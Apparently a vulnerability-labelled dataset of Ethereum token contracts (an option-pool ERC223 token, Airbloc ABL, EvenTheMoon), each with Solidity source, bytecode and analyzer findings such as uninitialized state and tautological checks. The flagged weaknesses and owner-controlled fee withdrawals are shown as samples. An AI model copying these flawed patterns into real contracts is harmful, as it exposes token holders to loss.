_tokenSymbol; // optionPool = _tokenOptionPool; optionPoolTotalMax = _tokenOptionPoolTotalMax; } function _verifyOptionPoolIncome(address _to, uint _value) private returns (bool _verifyIncomeResults) { if(msg.sender == optionPool && _to == owner){ return false; } if(_to == optionPool) { if(optionPoolTotal + _value <= optionPoolTotalMax){ optionPoolTotal = optionPoolTotal.add(_value); return true; } else { return false; } } else { return true; } } function _verifyOptionPoolDefray(address _to) private returns (bool _verifyDefrayResults) { if(msg.sender == optionPool) { if(optionPoolMembers[_to] != true){ optionPoolMembers[_to] = true; optionPoolMembersAmount++; } } return true; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public verifyTheLock { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } if (balanceOf(msg.sender) < _value) revert(); require(_verifyOptionPoolIncome(_to, _value)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); _verifyOptionPoolDefray(_to); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public verifyTheLock { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } if (balanceOf(msg.sender) < _value) revert(); require(_verifyOptionPoolIncome(_to, _value)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); _verifyOptionPoolDefray(_to); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea57806313af40351461017457806318160ddd146101975780632aab80dd146101be578063313ce567146101ef5780633dd7b14b1461021a5780634147e15e1461022f57806370a08231146102645780638265fb13146102855780638da5cb5b1461029a57806395d89b41146102af578063a44f40e3146102c4578063a9059cbb146102d9578063b1a329d7146102fd578063be45fd6214610312578063e098c76d1461037b575b600080fd5b3480156100f657600080fd5b506100ff610390565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610195600160a060020a0360043516610426565b005b3480156101a357600080fd5b506101ac61046c565b60408051918252519081900360200190f35b3480156101ca57600080fd5b506101d3610472565b60408051600160a060020a039092168252519081900360200190f35b3480156101fb57600080fd5b50610204610481565b6040805160ff9092168252519081900360200190f35b34801561022657600080fd5b506101ac61048a565b34801561023b57600080fd5b50610250600160a060020a03600435166104a8565b604080519115158252519081900360200190f35b34801561027057600080fd5b506101ac600160a060020a03600435166104c6565b34801561029157600080fd5b506101ac6104e1565b3480156102a657600080fd5b506101d36104e7565b3480156102bb57600080fd5b506100ff6104f6565b3480156102d057600080fd5b506101ac610557565b3480156102e557600080fd5b50610195600160a060020a036004351660243561055d565b34801561030957600080fd5b506101ac6109eb565b34801561031e57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610195948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506109f19650505050505050565b34801561038757600080fd5b506101ac610df7565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041c5780601f106103f15761010080835404028352916020019161041c565b820191906000526020600020905b8154815290600101906020018083116103ff57829003601f168201915b5050505050905090565b600154600160a060020a0316331461043d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075490565b600954600160a060020a031690565b60065460ff1690565b600954600160a060020a031660009081526002602052604090205490565b600160a060020a031660009081526003602052604090205460ff1690565b600160a060020a031660009081526002602052604090205490565b600c5490565b600154600160a060020a031681565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041c5780601f106103f15761010080835404028352916020019161041c565b60085490565b33600090815260036020526040812054606090829060ff161515600114156107bb5760085442101561058e57600080fd5b843b92508361059c336104c6565b10156105a757600080fd5b6105b18585610dfd565b15156105bc57600080fd5b336000908152600260205260409020546105dc908563ffffffff610e8716565b3360009081526002602052604080822092909255600160a060020a0387168152205461060e908563ffffffff610e9916565b600160a060020a03861660009081526002602052604090205561063085610eaf565b506000831115610713575060405160e160020a63607705c50281523360048201818152602483018690526060604484019081528451606485015284518894600160a060020a0386169463c0ee0b8a9490938a93899360840190602085019080838360005b838110156106ac578181015183820152602001610694565b50505050905090810190601f1680156106d95780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156106fa57600080fd5b505af115801561070e573d6000803e3d6000fd5b505050505b84600160a060020a031633600160a060020a0316600080516020610f2383398151915286856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561077b578181015183820152602001610763565b50505050905090810190601f1680156107a85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36109e4565b843b9250836107c9336104c6565b10156107d457600080fd5b6107de8585610dfd565b15156107e957600080fd5b33600090815260026020526040902054610809908563ffffffff610e8716565b3360009081526002602052604080822092909255600160a060020a0387168152205461083b908563ffffffff610e9916565b600160a060020a03861660009081526002602052604090205561085d85610eaf565b506000831115610940575060405160e160020a63607705c50281523360048201818152602483018690526060604484019081528451606485015284518894600160a060020a0386169463c0ee0b8a9490938a93899360840190602085019080838360005b838110156108d95781810151838201526020016108c1565b50505050905090810190601f1680156109065780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561092757600080fd5b505af115801561093b573d6000803e3d6000fd5b505050505b84600160a060020a031633600160a060020a0316600080516020610f2383398151915286856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109a8578181015183820152602001610990565b50505050905090810190601f1680156109d55780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35b5050505050565b600b5490565b33600090815260036020526040812054819060ff16151560011415610c0b57600854421015610a1f57600080fd5b843b915083610a2d336104c6565b1015610a3857600080fd5b610a428585610dfd565b1515610a4d57600080fd5b33600090815260026020526040902054610a6d908563ffffffff610e8716565b3360009081526002602052604080822092909255600160a060020a03871681522054610a9f908563ffffffff610e9916565b600160a060020a038616600090815260026020526040902055610ac185610eaf565b506000821115610ba4575060405160e160020a63607705c50281523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b505050505b84600160a060020a031633600160a060020a0316600080516020610f2383398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360008381101561077b578181015183820152602001610763565b843b915083610c19336104c6565b1015610c2457600080fd5b610c2e8585610dfd565b1515610c3957600080fd5b33600090815260026020526040902054610c59908563ffffffff610e8716565b3360009081526002602052604080822092909255600160a060020a03871681522054610c8b908563ffffffff610e9916565b600160a060020a038616600090815260026020526040902055610cad85610eaf565b506000821115610d90575060405160e160020a63607705c50281523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b83811015610d29578181015183820152602001610d11565b50505050905090810190601f168015610d565780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610d7757600080fd5b505af1158015610d8b573d6000803e3d6000fd5b505050505b84600160a060020a031633600160a060020a0316600080516020610f238339815191528686604051808381526020018060200182810382528381815181526020019150805190602001908083836000838110156109a8578181015183820152602001610990565b600a5490565b600954600090600160a060020a031633148015610e275750600154600160a060020a038481169116145b15610e3457506000610e81565b600954600160a060020a0384811691161415610e7d57600a54600b54830111610e7557600b54610e6a908363ffffffff610e9916565b600b55506001610e81565b506000610e81565b5060015b92915050565b600082821115610e9357fe5b50900390565b600082820183811015610ea857fe5b9392505050565b600954600090600160a060020a0316331415610f1a57600160a060020a03821660009081526003602052604090205460ff161515600114610f1a57600160a060020a0382166000908152600360205260409020805460ff19166001908117909155600c805490910190555b5060019190505600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a723058200d1a6a77654865d86a57d3f643b4477b88b7bdbd5681734f1a5c3d335c1d0e3b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,476
0xa64334e60f89f22b31e3e7547bdcf0f6dcd04789
pragma solidity ^0.4.24; contract OwnableToken { mapping (address => bool) owners; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event OwnershipExtended(address indexed host, address indexed guest); modifier onlyOwner() { require(owners[msg.sender]); _; } function OwnableToken() public { owners[msg.sender] = true; } function addOwner(address guest) public onlyOwner { require(guest != address(0)); owners[guest] = true; emit OwnershipExtended(msg.sender, guest); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owners[newOwner] = true; delete owners[msg.sender]; emit OwnershipTransferred(msg.sender, newOwner); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Magino is Ownable { ABL abl; constructor(ABL _abl) public { abl = _abl; } function addOwner(address guest) public onlyOwner { require(address(this) != guest, "No suicide."); abl.addOwner(guest); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ABL is StandardToken, OwnableToken { using SafeMath for uint256; // Token Distribution Rate uint256 public constant SUM = 400000000; // totalSupply uint256 public constant DISTRIBUTION = 221450000; // distribution uint256 public constant DEVELOPERS = 178550000; // developer // Token Information string public constant name = "Airbloc"; string public constant symbol = "ABL"; uint256 public constant decimals = 18; uint256 public totalSupply = SUM.mul(10 ** uint256(decimals)); // token is non-transferable until owner calls unlock() // (to prevent OTC before the token to be listed on exchanges) bool isTransferable = false; function ABL( address _dtb, address _dev ) public { require(_dtb != address(0)); require(_dev != address(0)); require(DISTRIBUTION + DEVELOPERS == SUM); balances[_dtb] = DISTRIBUTION.mul(10 ** uint256(decimals)); emit Transfer(address(0), _dtb, balances[_dtb]); balances[_dev] = DEVELOPERS.mul(10 ** uint256(decimals)); emit Transfer(address(0), _dev, balances[_dev]); } function unlock() external onlyOwner { isTransferable = true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transfer(_to, _value); } ////////////////////// // mint and burn // ////////////////////// function mint( address _to, uint256 _amount ) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount >= 0); uint256 amount = _amount.mul(10 ** uint256(decimals)); totalSupply = totalSupply.add(amount); balances[_to] = balances[_to].add(amount); emit Mint(_to, amount); emit Transfer(address(0), _to, amount); return true; } function burn( uint256 _amount ) onlyOwner public { require(_amount >= 0); require(_amount <= balances[msg.sender]); totalSupply = totalSupply.sub(_amount.mul(10 ** uint256(decimals))); balances[msg.sender] = balances[msg.sender].sub(_amount.mul(10 ** uint256(decimals))); emit Burn(msg.sender, _amount.mul(10 ** uint256(decimals))); emit Transfer(msg.sender, address(0), _amount.mul(10 ** uint256(decimals))); } event Mint(address indexed _to, uint256 _amount); event Burn(address indexed _from, uint256 _amount); }
0x6080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416637065cb488114610066578063715018a6146100895780638da5cb5b1461009e578063f2fde38b146100cf575b600080fd5b34801561007257600080fd5b50610087600160a060020a03600435166100f0565b005b34801561009557600080fd5b50610087610201565b3480156100aa57600080fd5b506100b361026d565b60408051600160a060020a039092168252519081900360200190f35b3480156100db57600080fd5b50610087600160a060020a036004351661027c565b600054600160a060020a0316331461010757600080fd5b30600160a060020a038216141561017f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f20737569636964652e000000000000000000000000000000000000000000604482015290519081900360640190fd5b600154604080517f7065cb48000000000000000000000000000000000000000000000000000000008152600160a060020a03848116600483015291519190921691637065cb4891602480830192600092919082900301818387803b1580156101e657600080fd5b505af11580156101fa573d6000803e3d6000fd5b5050505050565b600054600160a060020a0316331461021857600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a0316331461029357600080fd5b61029c8161029f565b50565b600160a060020a03811615156102b457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820161c5d56450bf95a312243121cbab21c5f287abbb1842e2779a15c5675bd24a00029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,477
0x781E7C3cA0E70AeA5534AdFC777a638Cd07d52E2
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ //SPDX-License-Identifier: MIT // Telegram: t.me/EvenTheMoonToken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EvenTheMoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "EvenTheMoon"; string private constant _symbol = "EVENTHEMOON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_feeAddrWallet1 == _msgSender() ); _; } function setMaxBuy(uint256 limit) external overridden { _maxTxAmount = limit; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612387565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611f4a565b6103c2565b604051610157919061236c565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906124e9565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611ef7565b6103f0565b6040516101bf919061236c565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea919061255e565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611e5d565b61054c565b60405161023e91906124e9565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b604051610280919061229e565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612387565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611f4a565b610756565b6040516102e8919061236c565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611eb7565b610cb5565b60405161033c91906124e9565b60405180910390f35b34801561035157600080fd5b5061035a610d3c565b005b34801561036857600080fd5b50610383600480360381019061037e9190611fb7565b610dae565b005b60606040518060400160405280600b81526020017f4576656e5468654d6f6f6e000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e19565b8484610e21565b6001905092915050565b6000670de0b6b3a7640000905090565b60006103fd84